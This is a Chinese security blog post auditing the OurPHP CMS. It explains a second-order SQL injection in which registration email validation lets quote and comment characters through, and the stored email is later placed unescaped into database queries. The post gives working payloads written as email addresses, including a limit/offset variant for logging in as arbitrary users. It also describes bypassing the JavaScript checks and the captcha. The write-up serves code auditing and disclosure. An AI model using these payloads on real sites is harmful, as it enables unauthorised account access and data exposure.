本文作者:myndtt(信安之路读者首次投稿)
1.下载地址页面(截至2018/7/6 目前最新版)
https://pan.baidu.com/s/1D9HWq#list/path=%2F
2.前台可通过邮箱注册用户
3.注册邮箱形式可以如下
1'/**/or/**/1=1#@qq.com
2'/**/or/**/1=1/**/limit/**/1/**/offset/**/2#@q.c
4.正因为要注册这些古怪的邮箱,并且利用起来略有复杂,所以比较鸡肋。
在function\api\ourphpuser\ourphp_system.php
该文件存在用户login函数
functionuser_login($useremail,$password){
global$db;
if($useremail==""||$password==""){
return"-1"; //不能为空
exit;
}else{
$ourphp_rs=$db->select("`id`,`OP_Userstatus`,`OP_Userclass`","`ourphp_user`","where (`OP_Useremail` = '".dowith_sql($useremail)."' || `OP_Usertel` = '".dowith_sql($useremail)."') && `OP_Userpass` = '".dowith_sql(substr(md5(md5($password)),0,16))."'");
$userclass=$db->select("OP_Useropen","ourphp_userleve","where id = ".intval($ourphp_rs[2]));
if(!$ourphp_rs){
return"-4"; //账户不存在或密码错误
exit;
}elseif($ourphp_rs[1] ==2||$userclass[0] ==1){
return"-5"; //账户被锁定
exit;
}else{
$_SESSION['username'] =$useremail;
return"200";
}
}
}
在登入过程中$_SESSION['username'] = $useremail;
用户注册的邮箱也即用户名被赋值给$_SESSION['username']
.
在client\user\index.php
文件中有大量存在直接使用$_SESSION['username']
带入数据库查询的操作
if($type=='car'){
$ourphp_rs=$db->listgo("count(id) as tiaoshu","`ourphp_shoppingcart`","where `OP_Shopusername` = '".$_SESSION['username']."'");
}elseif($type=='shopping'){
$ourphp_rs=$db->listgo("count(id) as tiaoshu","`ourphp_orders`","where `OP_Ordersemail` = '".$_SESSION['username']."' && `OP_Orderspay` = 1");
}elseif($type=='msgemail'){
$ourphp_rs=$db->listgo("count(id) as tiaoshu","`ourphp_usermessage`","where `OP_Usercollect` = '".$_SESSION['username']."' && `OP_Userclass` = 1");
即然$_SESSION['username']
没有被做任何操作,又与用户注册的邮箱有关系,那么去用户注册处查看相关情况。
于client\user\ourphp_play.class.php
文件中的有用户注册相关的函数
if($ourphp_rs[6] =='email'){
$userloginemail=$_POST["OP_Useremail"];
$userlogintel=$_POST["OP_Useremail"];
if($userloginemail==''||$_POST["OP_Userpass"] ==''||$_POST["OP_Userpass2"] ==''){
exit("<script language=javascript> alert('".$inputno."');history.go(-1);</script>");
}elseif(strlen($userloginemail) >50){
exit("<script language=javascript> alert('".$usernameyes."');history.go(-1);</script>");
}
$emailvar=filter_var($userloginemail, FILTER_VALIDATE_EMAIL);
if(!$emailvar){
exit("<script language=javascript> alert('".$accessno."');history.go(-1);</script>");
}
}elseif($ourphp_rs[6] =='tel'){
邮箱需要通过该代码$emailvar = filter_var($userloginemail, FILTER_VALIDATE_EMAIL);
,根据网络文档所示
没有找到比较直观的东西,但是这个FILTER_SANITIZE_EMAIL
却可以作为一个参考。最后测试出该过滤器可允许!#$%&'*+-/=?^_{|}~@.[]
等大量恶意字符(括号和逗号似乎不可以),那么漏洞就可由此产生(当然该函数不仅仅是字符那样简单,比如xx@q.c
类邮箱可以通过,xx@q.
不可以)。
一.本地建好网站,为了演示,注册一些正常用户。
二.随后注册一个恶意用户1'/**/or/**/1=1#@qq.com
,因为前台有js检测防护,所以需要在注册时关闭浏览器执行js
(由于该cms的验证码也是在js中,所以这样也是可以进行绕过验证码进行爆破)
三.将刚刚的邮箱进行登入
四.当然如果想要任意用户登入的话还需要借助limit,offset等进行偏移,可以注册如下此类邮箱,从而偏移
2'/**/or/**/1=1/**/limit/**/1/**/offset/**/2#@q.c
这里涉及到一个邮箱字段长度限制问题,于client\user\ourphp_play.class.php
文件中
if($ourphp_rs[6] =='email'){
$userloginemail=$_POST["OP_Useremail"];
$userlogintel=$_POST["OP_Useremail"];
if($userloginemail==''||$_POST["OP_Userpass"] ==''||$_POST["OP_Userpass2"] ==''){
exit("<script language=javascript> alert('');history.go(-1);</script>");
}elseif(strlen($userloginemail) >50){
exit("<script language=javascript> alert('".$usernameyes."');history.go(-1);</script>");
}
可以通过抓包方式抓取,否则因为Url编码的问题字符就会超长
当然这里注册的邮箱引号和or之间的/**/是可以不要的。
1.由于能力有限,只能这样利用漏洞,不知大家有没有其他想法。
2.据观察,有不少cms都有这样利用filter_var($userloginemail, FILTER_VALIDATE_EMAIL);
来过滤检测邮箱,这会有潜在的风险,审计时大家可以留意。
3.回到该cms上,该防过滤函数(没大问题),但在过滤and
和or
时左右加个空格完全是没必要的。
4.最后最新版已经进行了修改,似乎不能做出其他操作来了。
5.这是一个很简单的漏洞,即便如此,也祝愿大家能有所收获,共勉!